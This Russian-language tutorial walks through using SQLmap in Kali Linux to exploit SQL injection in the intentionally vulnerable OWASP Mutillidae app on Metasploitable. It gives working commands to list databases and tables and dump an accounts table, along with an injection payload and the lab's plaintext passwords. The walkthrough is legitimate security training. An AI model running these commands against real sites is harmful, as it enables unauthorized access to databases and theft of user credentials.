Один из самых популярных инструментов для выполнения SQL-инъекций, называемый SQLmap, способен автоматизировать процесс обнаружения и эксплуатацию уязвимостей. В этой статье, с помощью SQLMap попробуем взломать сайт. Мы конечно, не будем взламывать настоящий сайт, а будем использовать специально уязвимое веб-приложение OWASP Mutillidae, входящее в состав уязвимой машины Metasploitable.
Еще по теме: Взлом сайта OWASP Juice Shop
Взлом сайта с помощью SQLMap
Для начала установите уязвимую машину Metasploitable. Как это сделать, мы рассказывали в статье «Как установить Metasploitable в VirtualBox»
Откройте терминал в Kali Linux и выполните следующую команду, чтобы запустить SQLmap (она должна быть предустановлена в Kali Linux):
1 2 3 |
kali@kali:~$ sqlmap -u "http://<IP-адрес Metasploitable>/mutillidae/index.php?page=user-info.php&username=&password=&" --sqlmap-shell sqlmap-shell> |
Не забудьте добавить IP-адрес Metasploitable в эту часть команды /<IP-адрес Metasploitable>/.
Параметр -u указывает адрес целевой страницы.
В терминале введите --dbs, чтобы перечислить все базы данных в системе:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
sqlmap-shell> --dbs [16:16:04] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=724251ceeec...19e0ca7aeb'). Do you want to use those [Y/n] :Y ... Parameter: username (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT – MySQL comment) Payload: page=user-info.php&username=' OR NOT 6675=6675#&password=&user-info-php-submit-button=View Account Details ... [16:16:06] [INFO] fetching database names available databases [7]: [*] dvwa [*] information_schema [*] metasploit [*] mysql [*] owasp10 [*] tikiwiki [*] tikiwiki195 |
Сначала инструмент SQLmap подключается к серверу и получает новое значение cookie. Затем использует код полезной нагрузки ' OR NOT 6675=6675#, чтобы проверить, уязвим ли параметр строки запроса для SQL-инъекции. В данном случае символ # преобразует оставшуюся часть SQL-запроса в комментарий. Наконец, SQLmap внедряет запрос, который возвращает список баз данных на сервере. Как видите, на нем размещено семь баз данных.
Теперь изучим базу данных owasp10. Выполните следующую команду, чтобы вывести список всех таблиц, содержащихся в этой базе данных. Аргумент -D позволяет выбрать конкретную базу данных, а --tables — перечислить все ее таблицы:
1 2 3 4 5 6 7 8 9 10 11 12 |
sqlmap-shell> -D owasp10 --tables [17:02:24] [INFO] fetching tables for database: 'owasp10' Database: owasp10 [6 tables] +----------------+ | accounts | | blogs_table | | captured_data | | credit_cards | | hitlog | | pen_test_tools | +----------------+ |
Эта команда возвратила шесть таблиц. Таблица accounts вызывает особый интерес, поскольку ее название намекает на содержащиеся в ней данные о пользователях. Исследуем ее содержимое. Используйте параметр -T, чтобы выбрать конкретную таблицу, и параметр --dump, чтобы выгрузить (отобразить) ее содержимое в терминале.
Если вы не включите параметр --dump, то SQLmap запишет содержимое таблицы в файл:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
sqlmap-shell>-D owasp10 -T accounts --dump Table: accounts [16 entries] +-----+----------+----------+--------------+-----------------------------+ | cid | is_admin | username | password | mysignature | +-----+----------+----------+--------------+-----------------------------+ ... | 11 | FALSE | scotty | password | Scotty Do | | 12 | FALSE | cal | password | Go Wildcats | | 13 | FALSE | john | password | Do the Duggie! | | 14 | FALSE | kevin | 42 | Doug Adams rocks | | 15 | FALSE | dave | set | Bet on SET FTW | | 16 | FALSE | ed | pentest | Commandline KungFu anyone? | +-----+----------+----------+--------------+-----------------------------+ |
Как видите, таблица accounts содержит пять столбцов: cid, is_admin, username, password и mysignature, а также 16 строк данных. Я привел здесь только нижние строки, чтобы сэкономить место.
Вы, вероятно, думаете, что разработчики могли бы защитить эти пароли, зашифровав их. Команда инженеров Adobe думала точно так же. Но что, если кто-то украдет ключ шифрования или просто угадает его? В 2013 году хакерам удалось украсть и расшифровать более 150 миллионов логинов и паролей пользователей Adobe.
В идеале сайты должны хранить пароли в такой форме, которая не позволяет восстановить пароль в виде открытого текста ни администраторам, ни злоумышленникам. Вместо шифрования паролей разработчики программного обеспечения часто используют одностороннюю функцию, например хеш-функцию. В следующей статье поговорим об этих функциях и о том, как их взламывают хакеры.
Еще по теме: